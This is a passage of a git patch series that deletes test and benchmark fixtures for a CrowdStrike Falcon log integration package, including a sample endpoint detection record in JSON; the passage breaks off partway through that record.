-    "references": [
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.index",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[1].meta.index",
-            "type": "index-pattern"
-        }
-    ],
-    "type": "search",
-    "typeMigrationVersion": "10.5.0"
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml
deleted file mode 100644
index 47f20a8f55..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/tags.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-- text: Security Solution
-  asset_types:
-    - dashboard
-    - search

From 0e44737e103ab94316d99190917f767896b47fb4 Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Thu, 26 Mar 2026 00:39:42 +0530
Subject: [PATCH 16/19] Remove unrelated tests

---
 .../alert/_dev/benchmark/pipeline/config.yml  |    1 -
 .../_dev/benchmark/pipeline/test-alert.log    |   10 -
 .../alert/_dev/test/pipeline/test-alert.log   |   11 -
 .../pipeline/test-alert.log-expected.json     | 2133 -----------
 .../_dev/test/pipeline/test-common-config.yml |    4 -
 .../_dev/test/policy/test-default.expected    |  134 -
 .../alert/_dev/test/policy/test-default.yml   |    9 -
 .../_dev/test/policy/test-traced.expected     |  134 -
 .../alert/_dev/test/policy/test-traced.yml    |   10 -
 .../_dev/test/scripts/api_error_response.txt  |  111 -
 .../alert/_dev/test/scripts/env.txt           |   25 -
 .../alert/_dev/test/scripts/unauthorized.txt  |  110 -
 .../_dev/test/system/test-common-config.yml   |   15 -
 .../falcon/_dev/benchmark/pipeline/config.yml |    1 -
 .../benchmark/pipeline/test-event-stream.log  |    9 -
 .../pipeline/test-falcon-audit-events.log     |   13 -
 .../pipeline/test-falcon-auth-activity.log    |    2 -
 .../test-falcon-cspmioa-streaming.log         |    1 -
 .../test-falcon-cspmsearch-streaming.log      |    1 -
 ...lcon-data-protection-detection-summary.log |    2 -
 .../test-falcon-detection-summary.log         |    1 -
 .../test-falcon-epp-detection-summary.log     |   15 -
 .../benchmark/pipeline/test-falcon-events.log |    1 -
 .../pipeline/test-falcon-firewall.log         |    1 -
 ...st-falcon-identity-protection-incident.log |    1 -
 .../pipeline/test-falcon-incident-summary.log |    1 -
 .../pipeline/test-falcon-ipd-summary.log      |    1 -
 .../test-falcon-mobile-detection-summary.log  |    1 -
 .../test-falcon-recon-notification.log        |    1 -
 .../pipeline/test-falcon-remote-response.log  |    2 -
 .../benchmark/pipeline/test-falcon-sample.log |    7 -
 .../pipeline/test-falcon-user-activity.log    |    1 -
 .../test-falcon-xdr-detection-summary.log     |    1 -
 .../_dev/deploy/docker/docker-compose.yml     |   20 -
 .../_dev/deploy/docker/files/config.yml       |   75 -
 .../sample_logs/falcon-audit-events.log       |  277 --
 .../docker/sample_logs/falcon-events.log      |   94 -
 .../docker/sample_logs/falcon-sample.log      |  254 --
 .../_dev/test/pipeline/test-common-config.yml |   15 -
 .../_dev/test/pipeline/test-event-stream.log  |   10 -
 .../test-event-stream.log-expected.json       |  984 ------
 .../pipeline/test-falcon-audit-events.log     |  277 --
 ...test-falcon-audit-events.log-expected.json |  786 -----
 .../pipeline/test-falcon-auth-activity.log    |   92 -
 ...est-falcon-auth-activity.log-expected.json |  190 -
 .../test-falcon-cspmioa-streaming.log         |   26 -
 ...falcon-cspmioa-streaming.log-expected.json |   94 -
 .../test-falcon-cspmsearch-streaming.log      |   52 -
 ...con-cspmsearch-streaming.log-expected.json |   76 -
 .../test-falcon-customer-ioc-event.log        |    6 -
 ...alcon-customer-ioc-event.log-expected.json |  401 ---
 ...lcon-data-protection-detection-summary.log |    2 -
 ...ection-detection-summary.log-expected.json |  247 --
 .../test-falcon-detection-summary.log         |  197 --
 ...falcon-detection-summary.log-expected.json |  383 --
 .../test-falcon-epp-detection-summary.log     |   16 -
 ...on-epp-detection-summary.log-expected.json | 3117 -----------------
 .../_dev/test/pipeline/test-falcon-events.log |  160 -
 .../test-falcon-events.log-expected.json      |  378 --
 .../test/pipeline/test-falcon-firewall.log    |   46 -
 .../test-falcon-firewall.log-expected.json    |  118 -
 ...st-falcon-identity-protection-incident.log |   26 -
 ...tity-protection-incident.log-expected.json |   65 -
 .../pipeline/test-falcon-incident-summary.log |   25 -
 ...-falcon-incident-summary.log-expected.json |   67 -
 .../test/pipeline/test-falcon-ipd-summary.log |   75 -
 .../test-falcon-ipd-summary.log-expected.json |  181 -
 .../test-falcon-mobile-detection-summary.log  |   80 -
 ...mobile-detection-summary.log-expected.json |  196 --
 .../test-falcon-non-object-dropped.log        |    1 -
 ...alcon-non-object-dropped.log-expected.json |    5 -
 .../test-falcon-recon-notification.log        |   23 -
 ...alcon-recon-notification.log-expected.json |   53 -
 .../pipeline/test-falcon-remote-response.log  |   30 -
 ...t-falcon-remote-response.log-expected.json |  120 -
 .../_dev/test/pipeline/test-falcon-sample.log |  345 --
 .../test-falcon-sample.log-expected.json      |  743 ----
 .../test/pipeline/test-falcon-tags-list.log   |   31 -
 .../test-falcon-tags-list.log-expected.json   |   73 -
 .../_dev/test/pipeline/test-falcon-tags.log   |   31 -
 .../test-falcon-tags.log-expected.json        |   70 -
 .../pipeline/test-falcon-user-activity.log    |   25 -
 ...est-falcon-user-activity.log-expected.json |   76 -
 .../test-falcon-xdr-detection-summary.log     |   74 -
 ...on-xdr-detection-summary.log-expected.json |  190 -
 .../_dev/test/policy/test-default.expected    |   42 -
 .../falcon/_dev/test/policy/test-default.yml  |    9 -
 .../_dev/test/policy/test-streaming.expected  |   61 -
 .../_dev/test/policy/test-streaming.yml       |   10 -
 .../_dev/test/system/test-logfile-config.yml  |    7 -
 .../test/system/test-streaming-config.yml     |   12 -
 91 files changed, 13909 deletions(-)
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/api_error_response.txt
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/env.txt
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/scripts/unauthorized.txt
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-audit-events.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-auth-activity.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmioa-streaming.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-cspmsearch-streaming.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-data-protection-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-epp-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-events.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-firewall.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-identity-protection-incident.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-incident-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-ipd-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-mobile-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-recon-notification.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-remote-response.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-sample.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-common-config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-event-stream.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-audit-events.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-auth-activity.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmioa-streaming.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-cspmsearch-streaming.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-customer-ioc-event.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-events.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-firewall.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-identity-protection-incident.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-incident-summary.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-ipd-summary.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-mobile-detection-summary.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-non-object-dropped.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-recon-notification.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-remote-response.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml
deleted file mode 100644
index 30a2b50cf6..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml
+++ /dev/null
@@ -1 +0,0 @@
-num_docs: 10000
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log
deleted file mode 100644
index c0e095d6dd..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log
+++ /dev/null
@@ -1,10 +0,0 @@
-{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"